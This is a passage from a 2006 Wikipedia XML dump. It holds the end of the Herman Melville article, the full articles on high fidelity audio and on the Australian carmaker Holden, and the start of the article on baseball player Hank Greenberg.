* ''[[Billy Budd (novel)|Billy Budd, Sailor]]: An Inside Narrative'' (1924)

=== Short Stories ===
* ''[[The Piazza Tales]]'' (1856)
** &quot;[[The Piazza]]&quot; -- the only story specifically written for the collection. (The other five had previously been published in Putnam's Monthly Magazine.)
** &quot;[[Bartleby the Scrivener]]&quot; 
** &quot;[[Benito Cereno]]&quot;
** &quot;[[The Lightning-Rod Man]]&quot;
** &quot;[[The Encantadas, or Enchanted Isles]]&quot;
** &quot;[[The Bell-Tower]]&quot;

===Poetry===
* Battle Pieces: And Aspects of the War (1866)
* Clarel: A Poem and Pilgrimage in the Holy Land (poems) (1876)
* John Marr and Other Sailors (1888)  [http://digitalcommons.unl.edu/libraryscience/18/  Online edition]
* Timoleon (1891)  [http://digitalcommons.unl.edu/libraryscience/16/  Online edition]

===Uncollected===
* Fragments from a Writing Desk, No. 1 (Published in ''Democratic Press, and Lansingburgh Advertiser'', May 4 1839)
* Fragments from a Writing Desk, No. 2 (Published in ''Democratic Press, and Lansingburgh Advertiser'', May 18 1839)
* Etchings of a Whaling Cruise (Published in ''New York Literary World'', March 6 1847)
* Authentic Anecdotes of &quot;Old Zack&quot; (Published in ''Yankee Doodle'', II, weekly (September 4 excepted) from July 24 to September 11 1847)
* Mr Parkman's Tour (Published in ''New York Literary World'', March 31 1849)
* Cooper's New Novel (Published in ''New York Literary World'', April 28 1849)
* A Thought on Book-Binding (Published in ''New York Literary World'', March 16 1850)
* Hawthorne and His Mosses (Published in ''New York Literary World'', August 17 and August 24 1850)
* Cock-A-Doodle-Doo! (Published in ''Harper's New Monthly Magazine'', December 1853)
* Poor Man's Pudding and Rich Man's Crumbs (Published in ''Harper's New Monthly Magazine'', June 1854)
* The Happy Failure (Published in ''Harper's New Monthly Magazine'', July 1854)
* The Fiddler (Published in ''Harper's New Monthly Magazine'', September 1854)
* The Paradise of Bachelors and the Tartarus of Maids (Published in ''Harper's New Monthly Magazine'', April 1855)
* Jimmy Rose (Published in ''Harper's New Monthly Magazine'', November 1855)
* The 'Gees (Published in ''Harper's New Monthly Magazine'', March 1856)
* I and My Chimney (Published in ''Putnam's Monthly Magazine'', March 1856)
* The Apple-Tree Table (Published in ''Putnam's Monthly Magazine'', May 1856)
* Uncollected Prose (1856)
* The Two Temples (unpublished in Melville's lifetime)

==External links==
* {{gutenberg author|id=Herman_Melville|name=Herman Melville}}
* [http://www.bibliomania.com/0/0/36/1006 ''Billy Budd'' -- the whole text, free]
* [http://onlinebooks.library.upenn.edu/webbin/gutbook/lookup?num=2701 Moby-Dick] Gutenberg EText
* [http://www.egwald.com/ubcstudent/theory/billybudd.php Poststructuralist analysis of Billy Budd] by Elmer G. Wiens
* [http://digitalcommons.unl.edu/libraryscience/18/ ''John Marr and Other Sailors'' ]
* [http://digitalcommons.unl.edu/libraryscience/16/ ''Timoleon, Etc.'' ]
*[http://www.literaryhistory.com/19thC/Melville.htm Melville's page at Literary Journal.com]-research articles on Melville's works
* [http://whaleofatime.com/mobydick Whale Of A Time :: Moby Dick]
* [http://immolated.com Immolated :: Classic Literature - Poetry - Herman Melville]
* [http://www.mcelhearn.com/article.php?story=20050630102959368 Reading Moby-Dick: one reader's approach to Melville's works and Moby-Dick]
* [http://www.wsu.edu/~campbelld/amlit/melville.htm Herman Melville (includes links to works, bibliographies, reading questions on &lt;i&gt;Moby-Dick&lt;/i&gt;]
* [http://literalsystems.org/abooks/doku.php?id=audiobook:typee Typee] Unabridged Creative Commons audiobook.

{{Wikisource author}}

[[Category:1819 births|Melville, Herman]]
[[Category:1891 deaths|Melville, Herman]]
[[Category:American essayists|Melville, Herman]]
[[Category:American novelists|Melville, Herman]]
[[Category:American poets|Melville, Herman]]
[[Category:American short story writers|Melville, Herman]]
[[Category:American travel writers|Melville, Herman]]
[[Category:Autodidacts|Melville, Herman]]
[[Category:Moby-Dick|Melville, Herman]]
[[Category:Unitarians|Melville, Herman]]

[[bg:Херман Мелвил]]
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[[ko:허먼 멜빌]]
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[[he:הרמן מלוויל]]
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[[ja:ハーマン・メルヴィル]]
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[[zh:赫尔曼·梅尔维尔]]</text>
    </revision>
  </page>
  <page>
    <title>High fidelity</title>
    <id>13624</id>
    <revision>
      <id>42159201</id>
      <timestamp>2006-03-04T05:18:47Z</timestamp>
      <contributor>
        <username>Palpatine</username>
        <id>217561</id>
      </contributor>
      <minor />
      <comment>/* Ascertaining high fidelity: double-blind tests */</comment>
      <text xml:space="preserve">:'' ''[[High Fidelity]]'' is also the title of a [[book]] by [[Nick Hornby]] and a [[film]] [[film director|directed]] by [[Stephen Frears]], based on Hornby's book.''

'''High fidelity''' or '''hi-fi''' reproduction is a quality standard that means the [[sound reproduction|reproduction of sound]] or [[video|images]] is very faithful to the original.  High fidelity aims to achieve minimal or unnoticeable amounts of [[noise]] and [[distortion]].  The term ''high fidelity'' tends to be applied to any reasonable-quality home-music system, though some believe that a higher standard than this is intended, and in 1973, the German ''Deutsches Institut für Normung'' (DIN) standard [[DIN 45500]] laid down mimimum requirements for measurements of [[frequency response]], distortion, noise and other defects and gained some recognition in hi-fi magazines.  

High-fidelity enthusiasts are often known as [[audiophile]]s. The equipment they prefer is often termed &quot;[[high-end audio|high end]].&quot;

==History==

The [[1920s]] saw the introduction of [[electronic amplifier|electronic amplification]], [[microphone]]s, and the application of quantitative [[engineering]] principles to the reproduction of sound.  Much of the pioneering work was done at [[Bell Laboratories]] and commercialized by [[Western Electric]].  [[Acoustics|Acoustically]]-recorded [[gramophone record|disc records]] with capriciously peaky [[frequency response]] were replaced with electrically-recorded records.  The [[Victor Talking Machine Company|Victor]] Orthophonic [[phonograph]], although purely acoustic, was created by engineers who applied [[waveguide]] technology to the design of the interior folded horn to produce a smooth frequency response which complemented and equalled that of the electrically-recorded Victor Orthophonic records.

Meanwhile, the rise of [[radio]] meant increased popularity for [[loudspeaker]]s and [[vacuum tube|tube]] amplifiers, so there was an anomaly of a period of time during which radio [[receiver (home stereo)|receiver]]s commonly used loudspeakers and electronic amplifiers to produce sound, while phonographs were still commonly purely mechanical and acoustic. Later, electronic phonographs became available, as stand-alone units or designed to play through consumer's radios. The now ubiquitous [[RCA connector]], was first introduced by the [[Radio Corporation of America]] for this purpose.

After [[World War II]], several innovations created the conditions for a major improvement of home-audio quality:
* the advent of the 33-1/3 [[RPM]] Long Play (LP) microgroove [[vinyl record]], with low surface [[noise]] and quantitatively-specified [[RIAA equalization|equalization curves]]. [[Classical music]] fans, who were [[opinion leadership|opinion leaders]] in the audio market quickly adopted LPs because, unlike with older records, most classical works would fit on a single LP.
* [[FM radio]], with wider audio bandwidth and less susceptibility to signal interference and fading than [[AM radio]].
* better [[electronic amplifier|amplifier]] designs, with more attention to frequency response and much higher power output capability, allowing audio peaks to be reproduced without [[distortion]].
* [[loudspeakers]] with separate sections for low and high frequencies (&quot;woofers&quot; and &quot;tweeters&quot;), connected via an [[audio crossover]] network, and more carefully  engineered enclosures.

In the [[1950s]], the term ''high fidelity'' began to be used by audio manufacturers as a marketing term to describe records and equipment which were intended to provide faithful sound reproduction. While some consumer simply interpreted ''high fidelity'' as fancy and expensive equipment, many found the difference in quality between &quot;hi-fi&quot; and the then standard AM radios and 78 RPM records readily apparent and bought 33 LPs, such as RCA's New Orthophonics and London's ffrrs, and high-fidelity phonographs.  Audiophiles paid attention to technical characteristics, and bought individual components, such as separate turntables, radio tuners, [[preamplifier]]s, power amplifiers and loudspeakers. Some enthusiasts assembled their own loudspeaker systems.  In the 1950s, ''hi-fi'' became a generic term, to some extent displacing ''phonograph'' and ''record player''.  Rather than playing a record on the ''phonograph'', people would play it on the ''hi-fi''.

In the late 1950s and early [[1960s]], the development of the Westrex single-groove [[stereophonic]] record led to the next wave of home-audio improvement, and in common parlance, ''stereo'' displaced ''hi-fi''.  Records were now played on ''a stereo''.  In the world of the audiophile, however, ''high fidelity'' continued and continues to refer to the goal of highly-accurate sound reproduction and to the technological resources available for approaching that goal.  A very popular type of system for reproducing music from the [[1970s]] onwards is the integrated [[music centre]]--the successor to the older [[stereogram]] or [[radiogram]].  Purists will generally avoid referring to these systems as high fidelity, though some are capable of very good quality sound reproduction.

==Ascertaining high fidelity: double-blind tests==

[[Double-blind]] testing has been required in the approval of new [[medicine]]s since about [[1960]].  Although single-blind testing of loudspeakers had been used for a number of years by Floyd E. Toole at the National Research Council of Canada, the double-blind audio listening test of amplifiers was first described in the United States by [[Daniel J. Shanefield]] in November of [[1974]] in the newsletter of the [[Boston Audio Society]]. This was later reported to the general public in [[High Fidelity Magazine|''High Fidelity'']] magazine, March [[1980]]. The double-blind listening comparison is now a standard procedure with almost all audio professionals respected in their field.  For [[marketing]] purposes, a few manufacturers of very expensive audio equipment dispute the need for this test.  A commonly-used improvement of this test is the ABX-listening comparison.  This involves comparing two known audio sources (A and B) with either one of these when it has been randomly selected (X).  The test and its associated equipment was developed by the Southeastern Michigan Woofer and Tweeter Marching Society (SMWTMS)--a semi-professional organization in Detroit that is very active in the double-blind testing of new audio components.

==Semblance of realism==

When high fidelity was limited to [[monaural|monophonic]] sound reproduction, a realistic approximation to what the listener would experience in a [[list of major concert halls|concert hall]] was limited.  [[research|Researchers]] early realized that the ideal way to experience music played back on audio equipment was through multiple transmission channels, but the [[technology]] was not available at that time.  It was, for example, discovered that a realistic representation of the separation between performers in an [[orchestra]] from an ideal listening position in the concert hall would require at least three loudspeakers for the front channels.  For the reproduction of the [[reverberation]], at least two loudspeakers placed behind or to the sides of the listener were required.  

Stereophonic sound provided a partial solution to the problem of creating some semblance of the [[auditory illusion|illusion]] of performers performing in an orchestra by creating a phantom middle channel when the listener sits exactly in the middle of the two front loudspeakers.  When the listener moves slightly to the side, however, this phantom channel disappears or is greatly reduced.  An attempt to provide for the reproduction of the reverberation was tried in the 1970s through [[quadraphonic]] sound but, again, the technology at that time was insufficient for the task.  [[Consumers]] did not want to pay the additional costs required in [[money]] and space for the marginal improvements in realism.  With the rise in popularity of [[home cinema|home theatre]], however, multi-channel playback systems became affordable, and consumers were willing to tolerate the six to eight channels required in a home theatre.  The advances made in [[digital signal processor|signal processors]] to synthesize an approximation of a good concert hall can now provide a somewhat more realistic illusion of listening in a concert hall.

In addition to spatial realism, the playback of [[music]] must be subjectively free from noise to achieve realism.  The [[compact disc]] (CD) provides at least 90 [[decibel|decibels]] of [[dynamic range]], which is about as much as most people can tolerate in an average [[living room]].  This therefore requires the playback equipment to provide a [[signal-to-noise ratio]] of at least 90 decibels.  Many people can hear up to, at most, 15 [[hertz|kHz]] and for a few, up to 20 kHz.  There is relatively little music below 50 Hz, loud [[frequency|bass]] below 30 Hz is rare, music below 16 Hz is almost non-existent, and music below 5 Hz is probably non-existent.  (Incidentally, the [[cannon|cannons]] in Telarc's [[sound recording|recording]] of [[Pyotr Ilyich Tchaikovsky|Pyotr Tchaikovsky]]'s [[1812 Overture|''1812 Overture'']] are said to go down to 5 Hz.)  The equipment must also provide no noticeable distortion of the [[signal (information theory)|signal]] or emphasis or de-emphasis of any frequency in this frequency range.  Except for spatial realism, good modern equipment can easily satisfy all of these requirements at a relatively moderate cost.

== Modularity ==

''Integrated'', ''midi'', or ''lifestyle'' systems contain one or more sources such as a CD player, a [[tuner (radio)|tuner]], or a [[compact audio cassette|cassette]] deck together with a [[preamplifier]] and a [[power amplifier]] in one box.  (''Midi'' has no connection with [[Musical Instrument Digital Interface|''MIDI'']] technology in electronic instruments.)  Such products are generally disparaged by [[audiophile|audiophiles]], although some [[high-end]] manufacturers produce integrated systems.  The traditional hi-fi enthusiast, however, will build a system from ''separates'', often with each item from a different manufacturer specialising in a particular component.  This provides the most flexibility for piece-by-piece upgrades.  

For slightly less flexibility in upgrades, a preamplifier and a power amplifier in one box is called an [[integrated amplifier|''integrated amplifier'']]; with a tuner, it is a ''[[receiver]]''.  A monophonic power amplifier is a ''monoblock''.  Other modules in the system may include components like [[magnetic cartridge|cartridges]], tonearms, turntables, [[DVD]] players that play a wide variety of discs including CDs, [[CD recorder|CD recorders]], [[MiniDisc]] recorders, hi-fi [[videocassette recorder|video-cassette recorders]] (VCRs), [[reel-to-reel audio tape recording|reel-to-reel]] [[tape recorder|recorders]], [[equalization|equalizers]], signal processors, and [[subwoofer|subwoofers]].

This modularity allows the enthusiast to spend as little or as much as he wants on a component that suits his specific needs.  In a system built from separates, sometimes a failure on one component still allows partial use of the rest of the system.  A repair of an integrated system, though, means complete lack of use of the system.
Another advantage of modularity is the ability to spend one's money on only a few core components at first and then later add additional components to one's system.  Because of all these advantages to the modular way of building a high-fidelity system instead of buying an integrated system, audiophiles almost always assemble their system from separates.  Some of the obvious disadvantages of this approach are increased cost, complexity, and space required for the components.

== Modern equipment ==

Nowadays, hi-fi equipment usually includes signal sources such as CD players and [[digital_audio_broadcasting|Digital Audio Broadcasting]] (DAB) tuners, an amplifier, and loudspeakers.  Some modern hi-fi equipment can be digitally connected using [[fiber optic]] and [[TOSLINK]] cables and can have [[USB|univeral serial bus]] (USB) ports and [[WiFi|wireless fidelity]] (WiFi) support.  One modern component that is making fast gains in acceptance is the music server consisting of one or more [[computer]] [[hard disk|hard drives]] that holds music in the form of [[computer file|computer files]] such as [[MP3|MP3s]].  Increasingly, audiophiles are connecting portable versions of music servers like [[Apple Computer|Apple]]'s [[Apple iPod|iPods]] to their systems for relatively quick and easy access to thousands of [[song|songs]].  If the hi-fi system includes components such as a [[DVD player]], a [[projector]], or a [[television]], then it is often called a [[home cinema]] or a [[home theatre]].

==See also==

*[[Amplifier]]
*[[Audio system measurements|Audio-System Measurements]]
*[[Compact disc|Compact Disc (CD)]]
*[[Digital audio broadcast|Digital-Audio Broadcasting (DAB)]]
*[[Digital audio tape|Digital Audio Tape (DAT)]]
*[[DVD]]
*[[High-end audio]]
*[[Home cinema|Home Theatre]]
*[[FireWire|i.LINK]]
*[[Low fidelity]]
*[[Music centre|Music Centre]]
*[[Radio Data System|Radio Data System (RDS)]]
*[[TOSLINK]]
*[[USB|Universal Serial Bus (USB)]]
*[[Linn_%28HiFi%29]]

==External links==

*[http://www.bostonaudiosociety.org/bas_speaker/abx_testing.htm ABX Testing.]  Boston Audio Society.
*[http://www.aes.org/resources/www-links/index.cfm?page=2  Audio Links.]  Audio Engineering Society.
*[http://www.robertshifi.com/ Audio Links.]  Another large directory.
*[http://www.geocities.com/free_schematic/ Audio Schematics and Design Plans.]  Hi-fi amplifier schematics and loudspeaker design plans for do-it-yourselfers.
*[http://www.hifi-writer.com/he/dictionary.htm Dictionary of Home-Entertainment Terms.]  Detailed dictionary of high-fidelity and home-theatre terms.
*[http://www.stereo411.com  Stereo411.com]  Hi-fi reviews, dealers, and forum.
*[http://www.powerplant.co.uk Powerplant.]  Sussex based Hi-Fi and custom installation specialist.

[[Category:Sound]]
[[Category:High end audio]]

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    </revision>
  </page>
  <page>
    <title>Holden</title>
    <id>13625</id>
    <revision>
      <id>40967046</id>
      <timestamp>2006-02-24T04:13:25Z</timestamp>
      <contributor>
        <username>Ambi</username>
        <id>13040</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/Bobblewik|Bobblewik]] ([[User talk:Bobblewik|talk]]) to last version by 152.163.101.8</comment>
      <text xml:space="preserve">:''This article is about the Australian car manufacturer.  See [[Holden (places)]] for articles about towns named Holden.''

'''Holden''' is an [[Australia]]n car manufacturer, originally independent but now a subsidiary of [[General Motors]]. 

Holden began as ''Holden's Motor Body Builders Ltd.'', a coachbuilder that made bodies to suit a number of [[chassis]] imported from different manufacturers, but particularly [[Chevrolet]]. It was purchased by General Motors in [[1931]] and became ''General Motors&amp;ndash;Holden's Ltd''. In 1998, it was renamed ''Holden Ltd'' and in May 2005, it became known as ''GM Holden Ltd''.

[[Image:Holdenlogo.jpg|right|300px]]
==Australia's own car==

After the end of [[World War II]], the Australian government took steps to encourage an Australian automotive industry, and persuaded General Motors to build &quot;Australia's own car&quot;. The Holden 48/215, introduced in 1948, was a medium-sized vehicle fitted with a 132&amp;nbsp;in&amp;sup3; (2.15&amp;nbsp;L) engine, and based on a design proposed for the [[1949]] [[Chevrolet]], that had been rejected as being too small for that purpose.  Although not particularly mechanically or stylistically sophisticated, it was simple, rugged, more powerful than most competitors, and offered reasonable performance and [[fuel economy]] in an affordable package.  Better suited to Australian conditions than its competitors, and assisted by tariff barriers, it rapidly became Australia's best-selling car.  

[[Image:Millionth Holden.JPG|thumb|200px|right|The millionth Holden (an EJ) comes off the line at Fishermen's Bend.]]
Despite the arrival of competitors in the [[1960s]], Holden's locally-produced large six and eight-cylinder cars have remained Australia's top-selling vehicle for most of that time. The [[Holden Kingswood|Kingswood]] sedan, wagon and [[Pickup truck|ute]] (utility or pickup truck) was exported and assembled abroad, including [[New Zealand]] along with [[South Africa]] (badged as the [[Chevrolet Kommando]]), [[Indonesia]] and [[Trinidad and Tobago]].  Holden has offered a reasonably full range of other vehicles, some locally produced but others sourced from various other parts of the General Motors empire, such as [[Chevrolet]], [[Opel]], [[Isuzu]] and [[Suzuki]].

Another notable Holden offering was the mid-size [[Holden Torana|Torana]], introduced in the mid-[[1960s]], and initially based on the British [[Vauxhall Viva]]. The name 'Torana' was an [[Australian Aborigine|Aboriginal]] word meaning 'to fly'. The Torana LH/LX series, which consisted of 3 door hatchback and 4 door booted sedan variants (between 1974 and 1978) was unusual in that it was offered with a choice of four (1.9&amp;nbsp;L [[overhead cam|cam-in-head]]), six (2.8&amp;nbsp;L, 3.3&amp;nbsp;L [[pushrod engine|OHV]]) or eight cylinder (4.2&amp;nbsp;L, 5.0&amp;nbsp;L OHV) engines. The four, later renamed Sunbird, was very sluggish, the eight-cylinder version alarmingly fast: the six was the most popular option. The Torana was replaced by the 1982 [[Holden Camira|Camira]], which was GM's medium-sized &quot;[[GM J platform|J-Car]]&quot;. Bodywork for the Camira wagon was exported to the [[United Kingdom|UK]] for [[Vauxhall Cavalier|Vauxhall's Cavalier]].

==Model-sharing under the Button Plan==

Between the late [[1980s]] and mid-[[1990s]], the Australian government introduced a plan to restructure the local motor industry, which involved local manufacturers sharing models, known as the [[Button Plan]], after the federal minister for trade and industry, John Button. Holden sold the [[Nissan Motors|Nissan]] [[Nissan Pulsar|Pulsar]] as a Holden Astra (not to be confused with the [[Opel]]-sourced model of the same name) and used the 3.0&amp;nbsp;L 6 cylinder ''[[Nissan RB engine|RB]]'' engine from Nissan's [[Nissan Skyline|Skyline]] in the VL Commodore (1986-1988). In [[1988]], it then entered a [[partnership]] with [[Toyota]] in Australia, to form a [[joint venture]] company called United Australian Automobile Industries (UAAI). In [[1989]], Holden began selling rebadged versions of Toyota's [[Toyota Corolla|Corolla]] and [[Toyota Camry|Camry]], as the [[Holden Nova|Nova]] and [[Holden Apollo|Apollo]], while Toyota sold the Commodore as the [[Holden Commodore|Toyota Lexcen]], named after the late [[America's Cup|''America''’s Cup]] yacht designer, [[Ben Lexcen]]. This [[badge engineering]] proved unpopular with buyers, even though rival Ford had been somewhat successful with its Laser and Telstar models, which were just thinly disguised versions of [[Mazda]] of Japan's{The Japanese branch owned by Toyo Kogyo and Ford, while Mazda of America is under GM}[[Mazda 323|323]] and [[Mazda 626|626]].

==The 1990s==

In [[1995]], UAAI was dissolved, and Holden was able to source product offerings from GM rather than from other manufacturers in Australia. Between [[1996]] and [[1997]], Holden replaced the Toyota-based Nova and Apollo with the Astra and Vectra, imported from [[Opel]] in [[Europe]]. The [[Opel Corsa]] was sold in Australia as the Holden Barina, replacing another model of that name, originally introduced in 1989, based on the [[Suzuki]] Swift. The Vectra was briefly assembled locally for export to neighbouring countries, but this was dealt a severe blow by the Asian economic crisis in [[1997]]. It has subsequently been imported from Europe.

==The 2000s==

Although its Opel-sourced models have been relatively successful, Holden has now looked to the GM owned [[GM Daewoo|Daewoo]] in [[South Korea]] for replacements. Holden has already established close research and design links with Daewoo, with which it provides the large Statesman model. The Holden Barina will be based on the [[Daewoo Kalos]], and the entry-level Astra Classic will be replaced by the Holden Viva, based on the [[Daewoo Lacetti]]. Due to tariffs and exchange rates, various Vectra models are more expensive than the larger Commodore in Australia and New Zealand, and the European model is likely to be replaced by a version of the new [[Daewoo Tosca]] in [[2006]].

==New Zealand==

The first export of Holdens to [[New Zealand]] began in [[1954]], and for many years they were assembled at the General Motors New Zealand plant in [[Petone]] outside [[Wellington]], until it closed in [[1990]]. While the Holden name was used on virtually all GM products in Australia, in New Zealand other GM products from Vauxhall, [[Bedford Vehicles|Bedford]], Isuzu, Pontiac and Opel were sold as well. 

However, for such a small market, it made little sense to have so many brands, so each was rationalized from the 1960s. Chevrolet and Pontiac had effectively disappeared from the market by the 1970s, though there were still Chevrolet trucks from the US and a top-end Holden Statesman with a Chevrolet V8 engine, known as the [[Chevrolet Small-Block engine#350|Chevrolet 350]]. Vauxhall's full line-up was pared back to the Chevette and Viva by 1977 as Holden's range expanded to include mid-sized cars (the Torana and Sunbird). Isuzu (selling the Gemini) and Vauxhall (with the last Chevette) disappeared on the launch of the Holden Gemini TE series in 1981, while Bedford met its demise with the assembly of the last CF vans in 1984.

As 1983 began, Holden began fielding something close to a full range: the Gemini as the entry-level car, the Camira as the mid-sized one, and the Commodore in the large sector.

However, the Australian Holden Camira (JB series) fared so badly in New Zealand that local GM bosses decided to replace it with a completely different model based on the [[Isuzu Aska]] (or JJ) from [[Japan]]. This was known as the JJ Camira, and proved to be much better than its Australian-sourced predecessor. The Isuzu-based model survived until Holden introduced the ultimate Camira, the JE, which made it across the [[Tasman Sea]] in 1987.

As the 1980s continued and Holden's future became uncertain, General Motors New Zealand Ltd. pondered the reintroduction of other GM brands. In around 1985, there were strong rumours, and a GM report, that indicated that Holden would cease to exist in its current form, and that its models would be exclusively designed offshore. Certainly what was happening in Australia did not instil confidence: rebadged Suzukis, Nissans and Isuzus were occupying the bottom end of the range, while the Commodore was about to shift to a Japanese-designed three-litre engine.

Therefore, Opel made a small reintroduction with a tiny selection of highly priced models (Kadett GSE, Ascona GT, Senator, Monza). Research showed that Pontiac had a good reputation, so rather than follow the Australian route with a rebadged Toyota Corolla, GM New Zealand brought in the Opel Kadett based LeMans from [[GM Daewoo Motors|Daewoo]] of [[South Korea]], attempting to fill both the compact and mid-sized sectors until the arrival of the Opel Vectra. Despite the car's  origins and place of manufacture, it was marketed in New Zealand as 'American'.

In the late 1980s, General Motors New Zealand attempted to use many makes and have 'GM' as the main brand. Therefore, the mainstream range in 1989 consisted of:

* [[Holden Barina]] (a rebadged [[Suzuki]] Cultus/Swift)
* [[Pontiac LeMans]] (imported from [[Daewoo]] of Korea)
* [[Opel Vectra]]
* [[Opel Calibra]]
* [[Holden Commodore]] and Calais
* [[Holden Statesman]]
* [[Holden Holden YB Piazza|Holden Piazza]]

Commercials bore the Isuzu name. This, however, created little brand loyalty and consumers did not accept 'GM' as a brand.

It was only in [[1994]], with Holden's future more secure, that General Motors New Zealand finally became Holden New Zealand. The Opel name was dropped, and the [[Opel Vectra|Vectra]] was rebadged as a Holden, even though it was then not available in Australia. The [[General Motors Astra|Astra]] was introduced the following year, identical Opel-badged models, [[grey import|imported second hand]] from [[Japan]], already being sold locally. 

Early models of the Holden Astra and Vectra in New Zealand differed from those sold in Australia, in that they had a distinctive grille with a 'V' containing the Holden badge, similar to that used by Vauxhall in the UK. Later on this was changed to bring the New Zealand model range in line with Australia. 

Similarly, the [[Isuzu Trooper]] off-road vehicle was rebadged the Holden Jackaroo, as in Australia, although owing to the widespread availability of the identical Isuzu Bighorn as a used Japanese import, that name was used on brand new models imported by Holden New Zealand. For a very brief, and with hindsight anomalous, period during 1998-1999, the [[Holden Frontera]] was sold new in New Zealand as the Isuzu Wizard, though things have now been brought into line with Australia.

There are still differences between the Holden model ranges in Australia and New Zealand. It was only in August 2005 that the wagon version of the Holden Astra went on sale in Australia, while in New Zealand, the Astra wagon is to be dropped, like the [[Opel Zafira|Zafira]] in 2004. The Astra Turbo, and Tigra have also been released in Australia, but will not be sold in New Zealand.

==Export markets==

&lt;!-- Unsourced image removed: [[Image:MonaroPoliceCar.jpg|thumb|200px|right|Holden Monaro Police Car. Melbourne, Victoria in Australia.]] --&gt;The Holden Commodore is as popular in [[New Zealand]] (where it has hit the number-one slot in the sales' charts from time to time) as it is in Australia, often being used as a police car.  It is also sold in [[South Africa]], [[Thailand]], and parts of the [[Middle East]] badged as a [[Chevrolet Lumina]], and in [[Brazil]] as the [[Chevrolet Omega]]. Holden's exports to the Middle East and Brazil were the first [[left hand drive]] cars built since the [[1960s]], when it sold cars in [[Hawaii]]. HSV's modified vehicles are also sold in the [[United Kingdom]]. A modified version of the Holden Monaro is sold in the [[United States]] as the [[Pontiac GTO]]. The Holden Monaro is sold under that name through [[Vauxhall Motors|Vauxhall]] dealerships in the [[United Kingdom]]. Holden also exports its Statesman sedan to the [[Middle East]] as the [[Chevrolet Caprice]], to [[South Korea ]]as the [[Daewoo]] Statesman, and [[China]] as the [[Buick]] Royaum. [[Fiji]], [[Singapore]], [[Brunei]] and [[Indonesia]] have also been Holden export markets.

==Sports vehicles==

Between 1968 and 1974, GMH sold a two-door variant of their full-size Holden sedan as the [[Holden Monaro|Monaro]], with great success. A revived Monaro, based on the previous model Commodore, has attracted wide attention since being shown as a [[concept car]] at Australian [[motor show]]s, and a large waiting list after it was put into production. The revived [[Holden Monaro|Monaro]] was released in the Australian market in October 2001. Starting with the [[2004]] model year, the [[Holden Monaro|Monaro]] has been exported to the [[United States]], rebadged as the [[Pontiac]] [[Pontiac GTO|GTO]], and the [[Middle East]], rebadged as the Chevrolet Lumina Coupe. It is sold in limited numbers in the UK as the [[Vauxhall Motors|Vauxhall]] Monaro.

[[Holden Special Vehicles]] ('''HSV''') is a wholly-owned subsidiary of Holden selling extensively modified, high-performance Commodore variants (including the Monaro and the Statesman).  . Holdens have been a staple of domestic [[touring car racing]] since the 1960s, and the quasi-factory Holden Racing Team has been dominant in [[V8 Supercar]] racing.

==See also== 
*[[List of automobile manufacturers]]
*[[General Motors]]

== External links ==
* [http://www.holden.com.au/ Holden Australia]  &lt;br&gt;
* [http://www.holden.co.nz/  Holden New Zealand] &lt;br&gt;
* [http://www.hsv.com.au/ Holden Special Vehicles] (HSV)
* [http://www.holdenhistory.com/ Holden History fan site]
* [http://www.myholden.com/ Fans' photos albums]
* [http://www.oldholden.com/ OldHolden info database fan site]
* [http://www.oldholden.com/fxfjclub/holden1.htm Origins of Holden, including the original 1946 prototype]
* [http://homepages.paradise.net.nz/richa306/pictures/thumbs/holden.htm Holden model guide]
* [http://www.vlturbo.com/ VLTurbo.com - VL Commodore information, Pictures, and more]
* http://holdenworld.tt.cx
* [http://www.hsv.org.uk UK HSV and Monaro Owners Club]
* [http://www.ls6.com.au LSx Advanced Automotive Forum]

{{General Motors brands}}

&lt;!-- Categories --&gt;
[[Category:Automobile manufacturers]]
[[Category:Australian automobile manufacturers]]
[[Category:Holden]]
[[Category:Australian brandnames]]
[[Category:General Motors]]

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    </revision>
  </page>
  <page>
    <title>Hank Greenberg</title>
    <id>13627</id>
    <revision>
      <id>41169720</id>
      <timestamp>2006-02-25T14:26:54Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>rm caps in section header.</comment>
      <text xml:space="preserve">{{Infobox baseball player | name=Hank Greenberg | image name=HGreenberg.jpg
| birthdate= [[January 1]], [[1911]] 
| birthplace= [[New York, New York]]
| dead=dead
| deathdate= [[September 4]], [[1986]]
| deathplace= [[Beverly Hills, California]]
| debutdate= [[September 14]], [[1930]]
| debutteam= [[Detroit Tigers]]
| debutopponent= [[New York Yankees]]
| debutstadium= [[Navin Field]]
| teams= [[Detroit Tigers]] ([[1930 in sports|1930]]-[[1946 in sports|1946]])&lt;BR&gt;[[Pittsburgh Pirates]] ([[1947 in sports|1947]])
| HOFer=HOFer
| inductiondate=[[1956 in sports|1956]]
| careerhighlights=&lt;nowiki&gt;&lt;/nowiki&gt;
* Won [[MLB Most Valuable Player Award|AL MVP]] twice, in 1935 and 1940.
* Lead the AL in homeruns four times.
* Set the record for most multi-homer games in a season, with 11 in [[1937 in sports|1937]].
* Hit 58 homeruns in the [[1938 in sports|1938 season]], two less than [[Babe Ruth]]'s single-season record.
* His 9th inning grand-slam on the final game of the [[1945 in sports|1945 season]] won the pennant for the Tigers.
* Topped 100 RBI in seven seasons.
* His 183 RBI in 1937 ranks 3rd all-time for a single season.
* Played in four All-Star games.
}}
:''This article is about the baseball player. For the insurance mogul nicknamed Hank Greenberg, see [[Maurice R. Greenberg]].''
'''Henry Benjamin &quot;Hank&quot; Greenberg''' ([[January 1]], [[1911]] - [[September 4]], [[1986]]), nicknamed &quot;Hammerin' Hank&quot;, was an [[United States|American]] player in [[Major League Baseball]].  

==Early Life==

{{MLB HoF}}
He was born in [[New York City]] to an [[Orthodox Jew]]ish family and attended [[James Monroe]] High School in [[the Bronx]], where he was an outstanding all-around athlete.  His preferred sport was baseball, and his preferred position was [[First baseman|first base]].  In 1929, he was recruited by the [[New York Yankees]], who already had a capable first baseman:  [[Lou Gehrig]].  Greenberg turned them down and attended [[New York University]] for a year, after which he signed with the [[Detroit Tigers]].

==Early career==

He played [[minor league baseball]] for three years, and was named [[Most Valuable Player]] in the [[Texas League]].  

In 1933, he joined the Tigers and [[batting average|hit]] .301 while [[RBI|driving]] in 87 runs.

Starring as a first baseman and [[outfielder]] with the [[Detroit Tigers]] (1930, 1933-1946), and briefly with the [[Pittsburgh Pirates]] (1947), he played only nine full seasons.  He missed three full seasons and most of two others to military service during [[World War II]], and missed most of another season with a broken wrist.  In seven of the nine years in which he was active, he was one of the dominant players in the game, beginning in [[1934]], his second major-league season, in which he won his first MVP award and helped the Tigers reach their first World Series in 25 years.

